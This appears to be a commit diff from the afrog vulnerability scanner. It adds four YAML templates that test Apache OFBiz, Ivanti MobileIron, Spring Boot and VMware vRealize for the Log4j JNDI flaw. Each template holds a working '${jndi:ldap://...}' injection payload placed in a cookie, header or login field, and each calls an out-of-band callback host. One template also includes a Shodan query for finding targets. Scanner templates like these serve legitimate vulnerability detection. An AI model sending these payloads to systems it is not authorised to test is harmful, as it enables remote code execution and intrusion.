STRLCPY/afrog

Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)

■ ■ ■ ■ ■ ■

afrog-pocs/unreviewed/apache-ofbiz-log4j-rce.yaml

1	+	id: apache-ofbiz-log4j-rce
2	+
3	+	info:
4	+	name: Apache OFBiz Log4j JNDI RCE
5	+	author: pdteam
6	+	severity: critical
7	+
8	+	set:
9	+	hostname: request.url.host
10	+	reverse: newReverse()
11	+	reverseURL: reverse.url.host
12	+	rules:
13	+	r0:
14	+	request:
15	+	method: GET
16	+	path: /webtools/control/main
17	+	headers:
18	+	Cookie: OFBiz.Visitor=${jndi:ldap://{{hostname}}.{{reverseURL}}}
19	+	expression: reverse.wait(5)
20	+	expression: r0()

■ ■ ■ ■ ■ ■

afrog-pocs/unreviewed/mobileiron-log4j-jndi-rce.yaml

1	+	id: mobileiron-log4j-jndi-rce
2	+
3	+	info:
4	+	name: Ivanti MobileIron Log4J JNDI RCE
5	+	author: meme-lord
6	+	severity: high
7	+	description: Ivanti MobileIron Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
8	+	remediation: Upgrade to version 2.14.2 or higher of MobileIron. If this is not possible, several Log4j exploit workarounds are available.
9	+	reference:
10	+	- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
11	+	- https://www.lunasec.io/docs/blog/log4j-zero-day/
12	+	- https://www.zdnet.com/article/mobileiron-customers-urged-to-patch-systems-due-to-potential-log4j-exploitation/
13	+	- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
14	+
15	+	set:
16	+	hostname: request.url.host
17	+	reverse: newReverse()
18	+	reverseURL: reverse.url.host
19	+	rules:
20	+	r0:
21	+	request:
22	+	method: POST
23	+	path: /mifs/j_spring_security_check
24	+	body: \|
25	+	j_username=${jndi:ldap://{{hostname}}.{{reverseURL}}}&j_password=password&logincontext=employee
26	+	expression: reverse.wait(5)
27	+	expression: r0()

■ ■ ■ ■ ■ ■

afrog-pocs/unreviewed/springboot-log4j-rce.yaml

1	+	id: springboot-log4j-rce
2	+
3	+	info:
4	+	name: Spring Boot Log4j Remote Code Injection
5	+	author: pdteam
6	+	severity: critical
7	+	remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
8	+	reference:
9	+	- https://logging.apache.org/log4j/2.x/security.html
10	+	- https://www.lunasec.io/docs/blog/log4j-zero-day/
11	+	- https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
12	+
13	+	set:
14	+	hostname: request.url.host
15	+	reverse: newReverse()
16	+	reverseURL: reverse.url.host
17	+	rules:
18	+	r0:
19	+	request:
20	+	method: GET
21	+	path: /
22	+	headers:
23	+	X-Api-Version: ${jndi:ldap://{{hostname}}.{{reverseURL}}}
24	+	expression: reverse.wait(5)
25	+	expression: r0()

■ ■ ■ ■ ■ ■

afrog-pocs/vulnerability/vrealize-operations-log4j-rce.yaml

1	+	id: vrealize-operations-log4j-rce
2	+
3	+	info:
4	+	name: VMware vRealize Operations Tenant App Log4j JNDI Remote Code Execution
5	+	author: bughuntersurya
6	+	severity: critical
7	+	description: \|
8	+	VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
9	+	shodan-query: http.title:"vRealize Operations Tenant App"
10	+	reference:
11	+	- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
12	+	- https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
13	+	- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
14	+	- https://nvd.nist.gov/vuln/detail/CVE-2021-45046
15	+
16	+	set:
17	+	rooturl: request.url
18	+	hostname: request.url.host
19	+	reverse: newReverse()
20	+	reverseURL: reverse.url.host
21	+	rules:
22	+	r0:
23	+	request:
24	+	method: POST
25	+	path: /suite-api/api/auth/token/acquire
26	+	headers:
27	+	Content-Type: application/json
28	+	Origin: "{{rooturl}}"
29	+	Referer: "{{rooturl}}/ui/"
30	+	body: \|
31	+	{"username":"${jndi:ldap://{{hostname}}.{{reverseURL}}}","password":"admin"}
32	+	expression: reverse.wait(5)
33	+	expression: r0()